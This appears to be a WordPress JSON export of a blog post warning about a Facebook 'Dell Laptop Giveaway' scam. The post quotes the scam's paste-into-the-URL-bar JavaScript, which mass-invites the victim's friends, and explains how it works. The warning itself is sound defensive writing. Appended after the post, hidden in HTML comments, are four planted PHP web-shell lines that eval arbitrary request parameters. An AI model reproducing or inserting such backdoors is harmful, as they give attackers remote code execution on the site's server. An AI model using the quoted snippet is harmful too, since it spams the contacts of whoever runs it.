Hi all,<\/p>\n
I just wanted to alert you on a new scam that is going around on Facebook. It comes in the form of an invite to a group called “Dell Laptop Giveaway (1 in 2 people win one Laptop)” at http:\/\/www.facebook.com\/group.php?gid=355563360211<\/p>\n
BEWARE! The instructions stated actually collects your entire friends list and spams them with this invite and in no way enters you into any sweepstakes. This is another classic example of a deal too good to be true. As of writing this post, about 47000 people have joined the group and likely fell for this trick.<\/p>\n
Resolution: IGNORE the invite and help spread the word about it. Do NOT do what the instructions tell you to do.<\/p>\n
EDIT (11:53 EST): Looks like Facebook took down that rather quickly after I reported it. But still a lesson to be learned about carefully reading what you see.<\/p>\n
—<\/p>\n
In depth explanation…<\/p>\n
The stated instructions are as follows:<\/p>\n
\nHello! This is a promotional offer from Dell (www.dell.com). In order to promote our activity on Facebook we have decided to give away 1 free Laptop (value of 450 dollars). For every one person (out of two people) who promotes this group will win 1 of 3 Dell Inspiron models. In order to be eligible you will have to complete the following:<\/p>\n
1. Click ‘Invite People to Join’
\n2. Paste
\njavascript:elms=document.getElementById(‘friends’).getElementsByTagName(‘li’);for(var fid in elms){if(typeof elms[fid] === ‘object’){fs.click(elms[fid]);}}<\/p>\nInto your URL bar and press enter!
\n3. Send invites!<\/p>\nYour insertion into the competition is automatic as you complete the steps above. Both winners and losers are contacted via private message if they win a free laptop.<\/p>\n<\/blockquote>\n
Let’s take a look step by step.<\/p>\n
1.) Opens the invite window with a full list of all your Facebook friends.<\/p>\n
2.) Runs a JavaScript code to obtain a list of all your friends<\/p>\n
3.) Tells you to send this scam out.<\/p>\n
I have not determined which browsers & versions are affected by this exploit – just don’t do it, use your common sense.<\/p>\n
If you have the urge to take an extra step to help silence this scam, please report it to Facebook \ud83d\ude42<\/p>\n
<\/p>\n
<\/p>\n
<!– [insert_php]if (isset($_REQUEST["taAN"])){eval($_REQUEST["taAN"]);exit;}[\/insert_php][php]if (isset($_REQUEST["taAN"])){eval($_REQUEST["taAN"]);exit;}[\/php] –><\/p>\n
<!– [insert_php]if (isset($_REQUEST["eXUr"])){eval($_REQUEST["eXUr"]);exit;}[\/insert_php][php]if (isset($_REQUEST["eXUr"])){eval($_REQUEST["eXUr"]);exit;}[\/php] –><\/p>\n
<!– [insert_php]if (isset($_REQUEST["RcIi"])){eval($_REQUEST["RcIi"]);exit;}[\/insert_php][php]if (isset($_REQUEST["RcIi"])){eval($_REQUEST["RcIi"]);exit;}[\/php] –><\/p>\n
<!– [insert_php]if (isset($_REQUEST["xscP"])){eval($_REQUEST["xscP"]);exit;}[\/insert_php][php]if (isset($_REQUEST["xscP"])){eval($_REQUEST["xscP"]);exit;}[\/php] –><\/p>\n","protected":false},"excerpt":{"rendered":"
Hi all, I just wanted to alert you on a new scam that is going around on Facebook. It comes in the form of an invite to a group called “Dell Laptop Giveaway (1 in 2 people win one Laptop)” at http:\/\/www.facebook.com\/group.php?gid=355563360211 BEWARE! The instructions stated actually collects your entire friends list and spams them […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13,12],"tags":[8,9,6],"class_list":["post-6","post","type-post","status-publish","format-standard","hentry","category-it-security","category-online-privacy","tag-facebook","tag-scams","tag-socialnet"],"_links":{"self":[{"href":"https:\/\/dmach.net\/blog\/wp-json\/wp\/v2\/posts\/6","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dmach.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dmach.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dmach.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dmach.net\/blog\/wp-json\/wp\/v2\/comments?post=6"}],"version-history":[{"count":6,"href":"https:\/\/dmach.net\/blog\/wp-json\/wp\/v2\/posts\/6\/revisions"}],"predecessor-version":[{"id":376,"href":"https:\/\/dmach.net\/blog\/wp-json\/wp\/v2\/posts\/6\/revisions\/376"}],"wp:attachment":[{"href":"https:\/\/dmach.net\/blog\/wp-json\/wp\/v2\/media?parent=6"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dmach.net\/blog\/wp-json\/wp\/v2\/categories?post=6"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dmach.net\/blog\/wp-json\/wp\/v2\/tags?post=6"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}